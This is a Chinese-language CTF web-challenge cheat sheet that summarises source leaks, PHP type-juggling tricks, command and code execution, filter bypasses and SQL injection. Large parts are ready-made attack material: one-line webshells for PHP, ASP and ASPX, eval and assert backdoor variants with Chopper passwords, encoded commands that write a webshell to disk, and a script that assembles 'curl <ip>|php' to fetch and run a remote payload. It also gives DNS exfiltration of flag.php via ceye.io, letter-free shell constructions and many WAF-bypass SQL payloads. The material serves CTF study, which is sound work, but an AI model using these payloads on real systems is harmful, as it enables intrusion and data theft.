网上似乎没有一篇比较完整的CTF Web题思路的总结,希望这篇“最全总结”对各位师傅有帮助。

基础

Flag可能出现的位置

网页源代码(注意注释)

数据库中

phpinfo

靶机中的文件

环境变量

题目要求

XFF/Refer/UA/Cookie/F12( view-source: )/URL/robots.txt/响应码/

指纹识别

TideFinger/Bscan/Glass/Arjun/Wappalyzer插件

源码和HTTP响应信息

HTTP响应文

错误界面(404/302)

源码泄露

Git
Githack恢复
查看log后选择性地进行git reset回滚
.git/config可能有access_token信息
SVN
Seay-svn/dvcs-ripper工具
注意wc.db文件存在与否
WEB.INF/web.xml泄露
.DS_Store文件泄漏
.hg泄露:dvcs.ripper工具
CVS泄露
备份文件泄露
gedit:filename ~
vim:vim -r filename.swp/.swo/.swn
www.zip/rar/tar.gz

常用一句话

PHP

<?php @eval($_POST['yj']);?>

ASP

<%eval request ("yj")%>

ASPX

<%@ Page Language="Jscript"%><%eval(Request.Item["yj"],"unsafe");%>

JSP

JSP一句话木马 - 简书 (jianshu.com)

shtml
ssi:<--#include file="..\..\web.config" -->

PHP专题

基础

ctfshow web102

<?=是php的短标签,是echo()的快捷用法 ?? #### 数组总比非数组类型大 #### && > = > and #### 内部类 常用`Exception`,其他可用的有 `DirectoryIterator/FilesystemIterator/SplFileObject/GlobIterator/ReflectionClass/ReflectionMethod` ```php // ctfshow web109/web110 eval("echo new $v1($v2());"); // ?v1=Exception&v2=system('tac fl36dg.txt') ``` ### 考题中会出现的函数 #### get_defined_vars() 返回由所有已定义变量所组成的数组 #### call_user_func() 函数把第一个参数作为回调函数,其余参数都是回调函数的参数 #### _() 是一个函数 _()等效于gettext() 是gettext()的拓展函数,需要开启text扩展。`echo gettext("ctfshownb");` `和 echo _("ctfshownb");` 的输出结果都为 ctfshownb #### parse_str() 函数会将传入的第一个参数设置成变量,如果设置了第二参数,则会将第一个参数的变量以数组元素的形式存入到这个数组。 ```php if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; } } // payload GET ?v3=1 & POST:v1=flag=c4ca4238a0b923820dcc509a6f75849b # md5解密后对应1 ``` #### strrev() 反转字符串 #### shell_exec() 缩写为`` #### sprintf() `sprintf(format,arg1,arg2,arg++)`: 把格式化的字符串写入一个变量中。arg1、arg2、arg++ 参数将被插入到主字符串中的百分号(%)符号处。该函数是逐步执行的。在第一个 % 符号处,插入 arg1,在第二个 % 符号处,插入 arg2,依此类推。`%`后的第一个字符,都会被当做字符类型而被吃掉。也就是当做一个类型进行匹配后面的变量。如`%c`匹配ascii码,`%d`匹配整数,如果不在定义中的也会进行匹配,匹配为空。比如`%\`匹配任何参数都为空。 ```php <?php ... $username = addslashes($_POST['username']); $username = sprintf("username = '%s' ",$username); $password = $_POST['password']; ... $sql = sprintf("select * from t where $username and password = '%s' ", $password); ... ?>

payload`username = admin%1$' and 1 = 1#`,可以使**单引号逃逸**,导致存在sql盲注。

#### mt_rand()

`mt_rand(min,max)` 

```php
 <?php
 show_source(__FILE__);
 include "flag.php";
 $a = @$_REQUEST['hello']; // hello没有任何过滤
 $seed = @$_REQUEST['seed'];
 $key = @$_REQUEST['key'];

 mt_srand($seed);
 $true_key = mt_rand();
 if ($key == $true_key){
 	echo "Key Confirm";
 }
 else{
 	die("Key Error");
 }
 eval( "var_dump($a);");
 ?>

payload: POST:seed=1&key=1244335972&hello=);system('cat flag.php');echo(0

复杂变量${}
eval('$string = "'.$_GET[cmd].'";');  // payload: http://127.0.0.1/test.php?cmd=${phpinfo()}
file_get_contents()

函数将整个文件或一个url所指向的文件读入一个字符串中

fsockopen()

fsockopen($hostname,$port,$errno,$errstr,$timeout)用于打开一个网络连接或者一个Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定url数据的获取。该函数会使用socket跟服务器建立tcp连接,进行传输原始数据。 fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回false。

SoapClient

SoapClient是一个php的内置类,当其进行反序列化时,如果触发了该类中的__call方法,那么__call便方法可以发送HTTP和HTTPS请求。

MD5/SHA1 绕过 // TODO

0e
  sha1('aaroZmOk')	//0e66507019969427134894567494305185566735
  sha1('aaK1STfY')	//0e76658526655756207688271159624026011393
  md5('QNKCDZO')			//0e830400451993494058024219903391
  md5('240610708')			//0e462097431906509019562988736854

md5()遇到数组时会警告并且返回null:var_dump(@md5([]) === @md5([])) //bool(true),即null===null

ffifdyop:SQL注入绕过
$password = "ffifdyop";
$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";
var_dump($sql);

弱类型

is_numeric()绕过:33a或者数组(大于任何值)绕过
字符串比较

比较两个字符串,strcmp(string1, string2)不区分大小写,strcasecmp(string1, string2)区分大小写。若string1 > string2,返回> 0;若string1 < string2,返回< 0;若string1 = string2,返回0。该函数无法处理数组,当出现数组时,返回null。var_dump(@strcmp([],'flag') == 0); //bool(true)

intval()
  var_dump(intval('1'));			//int(1)
  var_dump(intval('1a'));			//int(1)
  var_dump(intval('1%001'));		//int(1)
  var_dump(intval('a1'));			//int(0)
trim

利用 trim 及 is_numeric 等函数实现的绕过

<?php
// %0c1%00
$number = "\f1\0";
// trim 函数会过滤 \n\r\t\v\0,但不会过滤过滤\f
$number_2 = trim($number);
var_dump($number_2); // \f1
$number_2 = addslashes($number_2);
var_dump($number_2);  // \f1
// is_numeric 检测的时候会过滤掉 '', '\t', '\n', '\r', '\v', '\f' 等字符
// 但是不会过滤 '\0'
var_dump(is_numeric($number)); // false
var_dump(strval(intval($number_2))); // 1
var_dump("\f1" == "1"); // true
?>

正则式:/e可执行,构造越界 // TODO

ereg()

搜索字符串以匹配模式中给出的正则表达式,函数区分大小写,匹配可以被%00截断绕过

preg_replace() // TODO 慢慢积累

变量覆盖

$$
extract()函数

extract(array, extract_rules, prefix)使用数组键名作为变量名,使用数组键值作为变量值。针对数组中每个元素,将在当前符号表中创建一个对应的变量

 <?php
 $flag = 'aaa';
 extract($_GET);
 if (isset($gift)) {
 	$content = trim(file_get_contents($flag));
 	if ($gift == $content) {
 		echo 'flag{yjprolus}';
 	} else {
 		echo 'no flag';
 	}
 } 
 ?>
     
// payload: GET:?flag=&gift=  
// extract()会将flag和gift的值覆盖为空。$content = file_get_contens()的文件为空或不存在时则返回空值(会出现警告),即可以满足条件$gift == $content。
parse_str()
 parse_str("name=Peter&age=43",$myArray);  print_r($myArray);  //Array ( [name] => Peter [age] => 43 )

// TODO 再写几道例题

import_request_variables()

import_request_variables() 函数将 get/post/cookie 变量导入到全局作用域中。如果你禁止了 register_globals,但又想用到一些全局变量,那么此函数就很有用。该函数在最新版本的 php 中已经不支持

似乎没啥考点这个函数,可参考 CTF——PHP审计——变量覆盖_Captain Hammer的博客-CSDN博客_foreach ($_get as $key => $value)

开启了全局变量注册

其他

  • call_user_func(array($ctfshow, ‘getFlag’)); 等于 ctfshow::getFlag (执行ctfshow类中静态方法getFlag)

  • $cmd=$_GET['cmd'];
    if(preg_match('/^php$/im', $cmd)){           # /i表示不区分大小写,/m表示多行匹配
        if(preg_match('/^php$/i', $cmd)){        # 字符 ^ 和 $ 同时使用时,表示精确匹配 
            echo 'hacker';
        }
    }
    payload:?cmd=aaa%0aphp            # %0a为换行符,这样是两行
    
  • // TODO ctfshow web123 
    
    
  • // ctfshow web147
    if(isset($_POST['ctf'])){
        $ctfshow = $_POST['ctf'];
        if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
            $ctfshow('',$_GET['show']);
        }
    }
    // GET部分原理如下
        function f($dotast){
            echo 111;
        }
        phpinfo();//}
    

    payload:

    GET ?show=echo 123;}system("tac flag.php");//

    POST ctf=\create_function (\为PHP默认命名空间,\phpinfo即为直接调用该函数)

命令执行

相关函数

命令执行

  • system()

    #string system ( string $command [, int &$return_var ] )
    #system()函数执行有回显,将执行结果输出到页面上
    <?php
    	system("whoami");
    ?>
    
  • exec()

    <?php
    	echo exec("whoami");
    ?>
    
  • popen()

    #resource popen ( string $command , string $mode )
    #函数需要两个参数,一个是执行的命令command,另外一个是指针文件的连接模式mode,有r和w代表读#和写。函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行
    <?php popen( 'whoami >> c:/1.txt', 'r' ); ?>
    
    <?php  
    $test = "ls /tmp/test";  
    $fp = popen($test,"r");  //popen打一个进程通道  
      
    while (!feof($fp)) {      //从通道里面取得东西  
     $out = fgets($fp, 4096);  
     echo  $out;         //打印出来  
    }  
    pclose($fp);  
    ?> 
    
  • proc_open()

    resource proc_open ( 
    string $cmd , 
    array $descriptorspec , 
    array &$pipes [, string $cwd [, array $env [, array $other_options ]]] 
    )
    #与Popen函数类似,但是可以提供双向管道
    <?php  
    $test = "ipconfig";  
    $array =   array(  
     array("pipe","r"),   //标准输入  
     array("pipe","w"),   //标准输出内容  
     array("pipe","w")    //标准输出错误  
     );  
      
    $fp = proc_open($test,$array,$pipes);   //打开一个进程通道  
    echo stream_get_contents($pipes[1]);    //为什么是$pipes[1],因为1是输出内容  
    proc_close($fp);  
    ?> 
    
  • passthru()

    #void passthru ( string $command [, int &$return_var ] )
    <?php
    	passthru("whoami");
    ?>
    
  • shell_exec()

    #string shell_exec( string &command)
    <?php
    	echo shell_exec("whoami");
    ?>
    
  • 反引号 `

    #shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体,当禁用shell_exec时,` 也不可执行
    <?php
    	echo `whoami`;
    ?>
    
  • pcntl_exec()

    #void pcntl_exec ( string $path [, array $args [, array $envs ]] )
    #path是可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本
    #args是一个要传递给程序的参数的字符串数组。
    #pcntl是linux下的一个扩展,需要额外安装,可以支持 php 的多线程操作。
    #pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP > 4.2.0
    <?php 
    	pcntl_exec ( "/bin/bash" , array("whoami"));
    ?>
    

代码注入

  • eval()

    #传入的参数必须为PHP代码,既需要以分号结尾。
    #命令执行:cmd=system(whoami);
    #菜刀连接密码:cmd
    <?php @eval($_POST['cmd']);?>
    
  • assert()

    #assert函数是直接将传入的参数当成PHP代码直接,不需要以分号结尾,当然你加上也可以。
    #命令执行:cmd=system(whoami)
    #菜刀连接密码:cmd
    <?php @assert($_POST['cmd'])?>
    
  • preg_replace()

    #preg_replace('正则规则','替换字符','目标字符')
    #执行命令和上传文件参考assert函数(不需要加分号)。
    #将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。
    preg_replace("/test/e",$_POST["cmd"],"jutst test");
    
  • create_function()

    #创建匿名函数执行代码
    #执行命令和上传文件参考eval函数(必须加分号)。
    #菜刀连接密码:cmd
    $func =create_function('',$_POST['cmd']);$func();
    
  • array_map()

    #array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。
    #命令执行http://localhost/123.php?func=system   cmd=whoami
    #菜刀连接http://localhost/123.php?func=assert   密码:cmd
    $func=$_GET['func'];
    $cmd=$_POST['cmd'];
    $array[0]=$cmd;
    $new_array=array_map($func,$array);
    echo $new_array;
    
  • call_user_func()

    #传入的参数作为assert函数的参数
    #cmd=system(whoami)
    #菜刀连接密码:cmd
    call_user_func("assert",$_POST['cmd']);
    
  • call_user_func_array()

    #将传入的参数作为数组的第一个值传递给assert函数
    #cmd=system(whoami)
    #菜刀连接密码:cmd
    $cmd=$_POST['cmd'];
    $array[0]=$cmd;
    call_user_func_array("assert",$array);
    
  • array_filter()

    #用回调函数过滤数组中的元素:array_filter(数组,函数)
    #命令执行func=system&cmd=whoami
    #菜刀连接http://localhost/123.php?func=assert  密码cmd
    $cmd=$_POST['cmd'];
    $array1=array($cmd);
    $func =$_GET['func'];
    array_filter($array1,$func);
    
  • uasort()

    #php环境>=<5.6才能用
    #uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。
    #命令执行:http://localhost/123.php?1=1+1&2=eval($_GET[cmd])&cmd=system(whoami);
    #菜刀连接:http://localhost/123.php?1=1+1&2=eval($_POST[cmd])   密码:cmd
    usort($_GET,'asse'.'rt');
    

绕过方式

空格

#常见的绕过符号有:
$IFS$9${IFS}%09(php环境下)、 重定向符<><#$IFS在linux下表示分隔符,如果不加{}则bash会将IFS解释为一个变量名,加一个{}就固定了变量名,$IFS$9后面之所以加个$是为了起到截断的作用

命令分隔符

%0a  #换行符,需要php环境
%0d  #回车符,需要php环境
;    #在 shell 中,是”连续指令”
&    #不管第一条命令成功与否,都会执行第二条命令
&&   #第一条命令成功,第二条才会执行
|    #第一条命令的结果,作为第二条命令的输入
||   #第一条命令失败,第二条才会执行

关键字

假如过滤了关键字cat\flag,无法读取不了flag.php,又该如何去做

  • 拼接绕过

    #执行ls命令:
    a=l;b=s;$a$b
    #cat flag文件内容:
    a=c;b=at;c=f;d=lag;$a$b ${c}${d}
    #cat test文件内容
    a="ccaatt";b=${a:0:1}${a:2:1}${a:4:1};$b test
    
  • 编码绕过

    #base64
    echo "Y2F0IC9mbGFn"|base64 -d|bash  ==> cat /flag
    echo Y2F0IC9mbGFn|base64 -d|sh      ==> cat /flag
    #hex
    echo "0x636174202f666c6167" | xxd -r -p|bash   ==> cat /flag
    #oct/字节
    $(printf "\154\163") ==>ls
    $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
    {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
    #i也可以通过这种方式写马
    #内容为<?php @eval($_POST['c']);?>
    ${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
    
  • 单引号和双引号绕过

    c'a't test
    c"a"t test
    
  • 反斜杠绕过

    ca\t test
    
  • 通过$PATH绕过

    #echo $PATH 显示当前PATH环境变量,该变量的值由一系列以冒号分隔的目录名组成
    #当执行程序时,shell自动跟据PATH变量的值去搜索该程序
    #shell在搜索时先搜索PATH环境变量中的第一个目录,没找到再接着搜索,如果找到则执行它,不会再继续搜索
    echo $PATH 
    /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    `echo $PATH| cut -c 8,9`t test
    
  • 通配符绕过

    1. […]表示匹配方括号之中的任意一个字符
    2. {…}表示匹配大括号里面的所有模式,模式之间使用逗号分隔。
    3. {…}与[…]有一个重要的区别,当匹配的文件不存在,[…]会失去模式的功能,变成一个单纯的字符串,而{…}依然可以展开
    cat t?st
    cat te*
    cat t[a-z]st
    cat t{a,b,c,d,e,f}st
    

限制长度

>a    #虽然没有输入但是会创建a这个文件
ls -t    #ls基于基于事件排序(从晚到早)
sh a    #sh会把a里面的每行内容当作命令来执行
使用|进行命令拼接    #l\ s    =    ls
base64    #使用base64编码避免特殊字符
  • 七字符限制

    w>hp
    w>1.p\\
    w>d\>\\
    w>\ -\\
    w>e64\\
    w>bas\\
    w>7\|\\
    w>XSk\\
    w>Fsx\\
    w>dFV\\
    w>kX0\\
    w>bCg\\
    w>XZh\\
    w>AgZ\\
    w>waH\\
    w>PD9\\
    w>o\ \\
    w>ech\\
    ls -t|\
    sh
    

    翻译过来就是

    echo PD9waHAgZXZhbCgkX0dFVFsxXSk7 | base64 -d > 1.php
    

    脚本代码

    import requests
     
    url = "http://192.168.1.100/rce.php?1={0}"
    print("[+]start attack!!!")
    with open("payload.txt","r") as f:
    	for i in f:
    		print("[*]" + url.format(i.strip()))
    		requests.get(url.format(i.strip()))
     
    #检查是否攻击成功
    test = requests.get("http://192.168.61.157/1.php")
    if test.status_code == requests.codes.ok:
    	print("[*]Attack success!!!")
    
  • 四字符限制

    #-*-coding:utf8-*-
    import requests as r
    from time import sleep
    import random
    import hashlib
    target = 'http://52.197.41.31/'
     
    # 存放待下载文件的公网主机的IP
    shell_ip = 'xx.xx.xx.xx'
     
    # 本机IP
    your_ip = r.get('http://ipv4.icanhazip.com/').text.strip()
     
    # 将shell_IP转换成十六进制
    ip = '0x' + ''.join([str(hex(int(i))[2:].zfill(2))
                         for i in shell_ip.split('.')])
     
    reset = target + '?reset'
    cmd = target + '?cmd='
    sandbox = target + 'sandbox/' + 
        hashlib.md5('orange' + your_ip).hexdigest() + '/'
     
    # payload某些位置的可选字符
    pos0 = random.choice('efgh')
    pos1 = random.choice('hkpq')
    pos2 = 'g'  # 随意选择字符
     
    payload = [
        '>dir',
        # 创建名为 dir 的文件
     
        '>%s>' % pos0,
        # 假设pos0选择 f , 创建名为 f> 的文件
     
        '>%st-' % pos1,
        # 假设pos1选择 k , 创建名为 kt- 的文件,必须加个pos1,
        # 因为alphabetical序中t>s
     
        '>sl',
        # 创建名为 >sl 的文件;到此处有四个文件,
        # ls 的结果会是:dir f> kt- sl
     
        '*>v',
        # 前文提到, * 相当于 `ls` ,那么这条命令等价于 `dir f> kt- sl`>v ,
        #  前面提到dir是不换行的,所以这时会创建文件 v 并写入 f> kt- sl
        # 非常奇妙,这里的文件名是 v ,只能是v ,没有可选字符
     
        '>rev',
        # 创建名为 rev 的文件,这时当前目录下 ls 的结果是: dir f> kt- rev sl v
     
        '*v>%s' % pos2,
        # 魔法发生在这里: *v 相当于 rev v ,* 看作通配符。前文也提过了,体会一下。
        # 这时pos2文件,也就是 g 文件内容是文件v内容的反转: ls -tk > f
     
        # 续行分割 curl 0x11223344|php 并逆序写入
        '>p',
        '>ph\',
        '>|\',
        '>%s\' % ip[8:10],
        '>%s\' % ip[6:8],
        '>%s\' % ip[4:6],
        '>%s\' % ip[2:4],
        '>%s\' % ip[0:2],
        '> \',
        '>rl\',
        '>cu\',
     
        'sh ' + pos2,
        # sh g ;g 的内容是 ls -tk > f ,那么就会把逆序的命令反转回来,
        # 虽然 f 的文件头部会有杂质,但不影响有效命令的执行
        'sh ' + pos0,
        # sh f 执行curl命令,下载文件,写入木马。
    ]
     
    s = r.get(reset)
    for i in payload:
        assert len(i) <= 4
        s = r.get(cmd + i)
        print '[%d]' % s.status_code, s.url
        sleep(0.1)
    s = r.get(sandbox + 'fun.php?cmd=uname -a')
    print '[%d]' % s.status_code, s.url
    print s.text
    

限制回显

  • 判断

    #利用sleep判断
    ls;sleep 3
    #http请求/dns请求
    http://ceye.io/payloads
    
  • 利用

    #写shell(直接写入/外部下载)
    echo >
    wget
    #http/dns等方式带出数据
    #需要去掉空格,可以使用sed等命令
    echo `cat flag.php|sed s/[[:space:]]//`.php.xxxxxx.ceye.io
    

无字母、数字getshell

异或

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

简短写法

"`{{{"^"?<>/"   //_GET
取反
<?php
$__=('>'>'<')+('>'>'<');//$__2
$_=$__/$__;//$_1

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST

$_=$$_____;//$_=$_POST
$____($_[$__]);//assert($_POST[2])

简短写法

${~"\xa0\xb8\xba\xab"} //$_GET
自增
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
实例
<?php
include'flag.php';

if(isset($_GET['code'])){
   $code=$_GET['code'];
   if(strlen($code)>50){
       die("Too Long.");
  }
   if(preg_match("/[A-Za-z0-9_]+/",$code)){
       die("Not Allowed.");
  }
   @eval($code);
}else{
   highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?> 

payload:

code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

$_="{{{"^"?<>/";=$_="GET";
${$_}[_](${$_}[__]);=$_GET[_]($_GET[__]);=getFlag($_GET[__])=getFlag(null);
这个 payload 的长度是 37 ,符合题目要求的 小于等于40 。另fuzz 出了长度为 28 的 payload ,如下:

$_="{{{{{{{"^"%1c%1e%0f%3d%17%1a%1c";$_();
#getFlag()

容器和框架漏洞

Nginx

IIS

PUT上传漏洞

远程溢出漏洞

短文件漏洞

Apache

HTTP组件提权 CVE-2019-0211

CGI

PHP

ThinkPHP

反序列化
ThinkPHP6.0.12LTS反序列漏洞分析
RCE
Thinkphp5 RCE总结
SQL注入

Discuz

Twig

WordPress

Laravel

Smarty

Java

Struts2

OGNL注入

Spring框架

SPEL注入
组件漏洞
fastjson

反序列化

Hessian
二进制(ObjectOutputStream)
JSON
XML
YAML

JRMP安全性问题

JWT攻击

敏感信息泄露

将算法修改为none

密钥混淆攻击

无效签名

暴力破解密钥

密钥泄露

操纵KID

操纵头部参数

JavaScript

SSJI(服务端JavaScript注入)

Node.js
Vue.js

JavaScript Prototype 污染攻击

Python

沙箱逃逸

利用内建函数执行命令
过滤与bypass

框架

Flask
敏感信息泄露
验证码绕过
SESSION伪造和对象注入漏洞
使用hash而非hmac进行签名(Hash长度拓展攻击)
任意文件读取
加密而未签名(CBC字节翻转攻击)
Tornado
Django

反序列化漏洞

pickle模块

Ruby

ERB模板注入

SQL注入

原理

用户输入的内容传到web应用,没有经过过滤或者严格的过滤,被带入到了数据库中进行执行

分类

联合注入

几大基本步骤
判断是否有注入及注入点类型
是否有注入
  • 加单引号
  • and 8731=8731
  • and ‘a’=‘a’
  • and 1=2
  • or 1=1
  • or 1=2
注入点类型
  • 字符型

    • ’)
    • ”)
    • %‘
  • 数字型

判断查询列数
注意
  • union 前后两个select语句的列数要一致
原理
  • order by是排序的语句

    • select * from users order by id(默认升序)
    • select * from users order by id desc(降序)
    • select * from users order by 1
order by n
联合查询
union
  • id=1’ union select 1,2,3–+
  • id=-1’ union select 1,2,3–+
获取基本信息
version()
  • 获取数据库的版本
database()
  • 获取当前网站使用的数据库
user()
  • 当前网站使用的数据库账号
@@secure_file_priv
  • 数据库的读写文件
@@datadir
  • 数据库的安装目录

    • phpstudy

      • c:\phpstudy\mysql
      • c:\phpstudy\www
    • wamp

      • c:\wamp\mysql
      • c:\wamp\www
    • 宝塔

获取数据库名
information_schema数据库
  • schemata数据表
  • tables数据表
  • columns数据表
schemata数据表里面获取数据库名
  • select schema_name from schemata;
  • id=1’ union select 1,2,group_concat(schema_name) from information_schema.schemata
获取数据表名
tables表
  • select table_name from tables where table_schema=‘security’;
  • select table_name from tables where table_schema=database();
  • id=1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
获取列名
columns表
  • select column_name from columns where table_schema=‘security’ and table_name=‘users’;
优化步骤
select table_name,column_name from columns where table_schema=‘security’;###### id=1’ union select 1,2,group_concat(table_name,‘_’,column_name) from information_schema.columns where table_schema=database()
获取数据
md5破解的做法(暴力枚举)

报错注入

几个函数
updatexml/extractvalue
报错的原理
  • 构造不满足xpath语法的内容
报错的语句
  • id=1’ and extractvalue(1,concat(0x7e,(select user()),0x7e))
注意
  • 版本限制

  • 32位长度限制

    • substr
其他函数

布尔盲注

步骤
获取数据库名
判断有多少个数据库
  • count()
判断第一个数据库名的长度
  • length()
获取第一个每一位数据库名字的字符
  • substr()
  • ascii()
判断第二个数据库名的长度
获取第二个数据库每一位数据库名字的字符
获取数据表名
判断数据库里面有多少个数据表
判断第一个数据库的长度
取第一个数据表的每一位字符
获取列名
获取数据

时间盲注

原理
发送一个请求,网站接受请求,并发送到数据库执行相关的操作,等待数据库返回结果,人为的延长数据库的执行时间,判断是否有注入
步骤
同布尔盲注
if(判断条件,条件为真时返回的值,条件为假时返回的值)
sleep()
benchmark()

堆叠注入

mysqli_query()不支持 VS mysqli_muiti_query()支持
语法
select * from users;create table you(id int);
id=1’;create table you(id int);#

内联注入

子查询
select (select 1)

区别

应用范围
时间盲注>布尔盲注>报错注入=联合注入
利用便捷度
联合注入>报错注入>布尔盲注>时间盲注

利用点

select - 四种基本注入

update- 联合注入不行

insert - 联合注入不行

delete - 联合注入不行

limit之后的注入

order by之后的注入

GET

POST

HTTP Header

Cookie

Referer

User-Agent

绕过

过滤and or

or     ——>   ||
and     ——>   &&
xor——>|  
not——>!

十六进制绕过
or ——> o\x72

大小写绕过
Or
aNd

双写绕过
oorr
anandd

urlencode,ascii(char),hex,unicode编码绕过
一些unicode编码举例:
单引号:'
%u0027 %u02b9 %u02bc
%u02c8 %u2032
%uff07 %c0%27
%c0%a7 %e0%80%a7


关键字内联注释尝试绕所有
/*!or*/
/*!and*/

左括号过滤

urlencode,ascii(char),hex,unicode编码绕过
%u0028 %uff08
%c0%28 %c0%a8
%e0%80%a8

右括号过滤

urlencode,ascii(char),hex,unicode编码绕过
%u0029 %uff09
%c0%29 %c0%a9
%e0%80%a9

过滤union\select

逻辑绕过
例:
过滤代码 union select user,password from users
绕过方式 1 && (select user from users where userid=1)='admin'

十六进制字符绕过
select ——> selec\x74
union——>unio\x6e

大小写绕过
SelEct

双写绕过
selselectect
uniunionon

urlencode,ascii(char),hex,unicode编码绕过

关键字内联绕所有
/*!union*/
/*!select*/

过滤空格

用Tab代替空格%20 %09 %0a %0b %0c %0d %a0 /**/()
绕过空格注释符绕过//--%20/**/#--+-- -;%00;

空白字符绕过SQLite3 ——     0A,0D,0c,09,20
MYSQL
09,0A,0B,0B,0D,A0,20
PosgressSQL
0A,0D,0C,09,20
Oracle_11g
00,0A,0D,0C,09,20
MSSQL
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,OF,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
特殊符号绕过
` + !
等科学计数法绕过
例:
select user,password from users where user_id0e1union select 1,2
unicode编码
%u0020 %uff00
%c0%20 %c0%a0 %e0%80%a0

过滤=

?id=1' or 1 like 1#可以绕过对 = > 等过滤
or '1' IN ('1234')#可以替代=

过滤比较符<>

select*fromuserswhereid=1and ascii(substr(database(),0,1))>64

select*fromuserswhereid=1and greatest(ascii(substr(database(),0,1)),64)=64

过滤where

逻辑绕过
过滤代码 1 && (select user from users where user_id = 1) = 'admin'
绕过方式 1 && (select user from users limit 1) = 'admin'

过滤limit

逻辑绕过
过滤代码 1 && (select user from users limit 1) = 'admin'
绕过方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin

过滤group by

逻辑绕过
过滤代码 1 && (select user from users group by user_id having user_id = 1) = 'admin'
绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1

过滤select

逻辑绕过
过滤代码 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
绕过方式 1 && substr(user,1,1) = 'a'

过滤’(单引号)

逻辑绕过
waf = 'and|or|union|where|limit|group by|select|\''
过滤代码 1 && substr(user,1,1) = 'a'
绕过方式 1 && user_id is not null1 && substr(user,1,1) = 0x611 && substr(user,1,1) = unhex(61)


宽字节绕过
%bf%27 %df%27 %aa%27

过滤逗号

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:
selectsubstr(database(0from1for1);selectmid(database(0from1for1);

对于limit可以使用offset来绕过:

select*fromnews limit0,1# 等价于下面这条SQL语句select*fromnews limit1offset0

过滤hex

逻辑绕过
过滤代码 1 && substr(user,1,1) = unhex(61)
绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。

过滤substr

逻辑绕过

过滤代码 1 && substr(user,1,1) = lower(conv(11,10,16))
绕过方式 1 && lpad(user(),1,1) in 'r'

编码绕过

利用urlencode,ascii(char),hex,unicode等编码绕过

or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

十六进制编码
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

双重编码绕过
?id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+

等价函数或变量

hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

